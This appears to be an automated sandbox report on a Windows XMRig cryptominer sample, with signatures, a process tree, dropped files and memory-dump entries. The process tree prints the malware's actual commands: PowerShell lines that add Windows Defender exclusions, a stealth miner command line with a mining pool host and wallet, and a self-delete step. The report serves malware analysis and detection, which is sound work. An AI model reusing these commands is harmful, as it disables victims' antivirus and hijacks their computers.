Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/11/2024, 19:02

General

  • Target
    8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe
  • Size 33KB
  • Sample241102-xpws6avqem
  • SHA256 e2008148c6c2227141a0705feb1676ab7544dfc241a9217138e294f4653c8e55
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4172
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4816
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1824
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2176
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2972
      • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
        C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\8723bff73e6df0fd7302b71d1fc5d276_JaffaCakes118.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=4ApRBrR7YA1F4DpMoydfM48jvg5K8cC9o9GKRM2KN4BZi1bcqwwzndSQkipV7hwSXWUY7Cev2sTndMKUUCosyLP2LWDbPEU --pass= --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=70 --nicehash --tls --cinit-stealth
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2332
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1864
          • C:\Windows\system32\choice.exe
            choice /C Y /N /D Y /T 3
            5⤵
              PID:2008

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 55b1d8021c4eb4c3c0d75e3ed7a4eb30cd0123e3d69f32eeb596fe4ffec05abf
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 944B
          • SHA256 c4d16552769ca1762f6867bce85589c645ac3dc490b650083d74f853f898cfab
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_p31hywmv.4ov.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p31hywmv.4ov.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          svchost64.exe

          • Path C:\Users\Admin\AppData\Local\Temp\svchost64.exe
          • Size 26KB
          • SHA256 81a7e60b5b96d7f174040e71b047acf3c988aee77c9c446dc2573c05c8ee7bea
          • MD5 SHA1 SHA512 SSDEEP

          memory/844-61-0x00000000000F0000-0x00000000000FA000-memory.dmp

          memory/844-62-0x0000000000AE0000-0x0000000000AF2000-memory.dmp

          memory/2332-69-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-64-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-70-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-68-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-71-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-65-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-66-0x0000000002870000-0x0000000002890000-memory.dmp

          memory/2332-72-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2332-73-0x0000000140000000-0x0000000140786000-memory.dmp

          memory/2736-15-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/2736-18-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/2736-14-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/2736-13-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/2736-7-0x000001E8BB4D0000-0x000001E8BB4F2000-memory.dmp

          memory/4172-57-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/4172-54-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/4172-53-0x00007FF94BEC3000-0x00007FF94BEC5000-memory.dmp

          memory/4172-0-0x00007FF94BEC3000-0x00007FF94BEC5000-memory.dmp

          memory/4172-12-0x00007FF94BEC0000-0x00007FF94C981000-memory.dmp

          memory/4172-1-0x0000000000270000-0x000000000027C000-memory.dmp